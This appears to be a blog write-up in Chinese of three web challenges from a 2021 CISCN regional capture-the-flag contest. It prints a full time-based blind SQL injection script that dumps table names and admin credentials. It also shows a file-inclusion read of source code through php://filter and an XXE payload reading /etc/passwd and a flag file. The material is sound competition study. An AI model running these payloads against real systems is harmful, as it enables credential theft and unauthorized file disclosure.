2021年东北赛区ciscn分区赛wp

简单的注入

简单的测试之后:

1
a'/**/or/**/IF(0,SLEEP(5),1)%23

可以进行时间盲注
那么直接跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码,否则s.text不能输出
ss = ""
x = string.printable

url = "http://10.3.120.24/?c=UserLogin&f=login"


payload={
"username":"",
"password":"123"
}
#测试
# r=requests.post(url,data=payload)
# print(r.text)

for i in range(1,60):
   for j in x:
       #payload["username"]=("123'/**/and/**/1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1%23")%(str(i),ord(j))
       #payload["username"]=("a'/**/or/**/IF(substr(database(),{},1)='{}',sleep(5),1)#").format(str(i),str(j))
       #payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),sleep(5),0)#").format(str(i),ord(j))
       #table : user
       #payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),%s,1))=%s),sleep(5),0)#")%(str(i),ord(j))
       payload["username"]=("a'/**/or/**/IF((ascii(substr((select(group_concat(username,password))from(user)),%s,1))=%s),sleep(5),0)#")%(str(i),ord(j))
# admin Admin@12999...
       #print(payload)
       try:
           r = requests.post(url=url,data=payload,timeout=3)
           print( r.text)
       except requests.exceptions.Timeout as e:
           ss += j
           print(ss)
           break

最后得到表:user,列名:userid,username,password,
然后再提取数据,得到用户名admin密码Admin@12999…

登录后得到flag:flag{ba4oy6nwovvkz8fdxjz90geghdpstywu}

Be_Careful

http://10.3.120.25/index.php?file=1.php很容易看出是文件包含

伪协议读index.php源码,发现提示real_flag.php

同样提取real_flag.php的源码

发现只需要把69563214562转为十六进制即可绕过,

即访问:?a=0x10324a6ae2得到flag

flag{ny2w6iezylnlamxfijufowhcpevjqdzd}

flagin

从post给dolongin.php的数据可以看到是xml格式的

那么自然想到利用xxe读文件

起初试了一下读取/etc/passwd,可以读到。

同样试了读取/flag,没有内容,

读/flag.txt提示姿势不对。

最后通过php伪协议读flag.txt文件

php://filter/read=convert.base64-encode/resource=/flag.txt

成功读到,解码后得到flag

吐槽

吐槽一下Console的那个guest/guest弱口令:对不起,是我字典不够强,不够充分,我太菜了。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!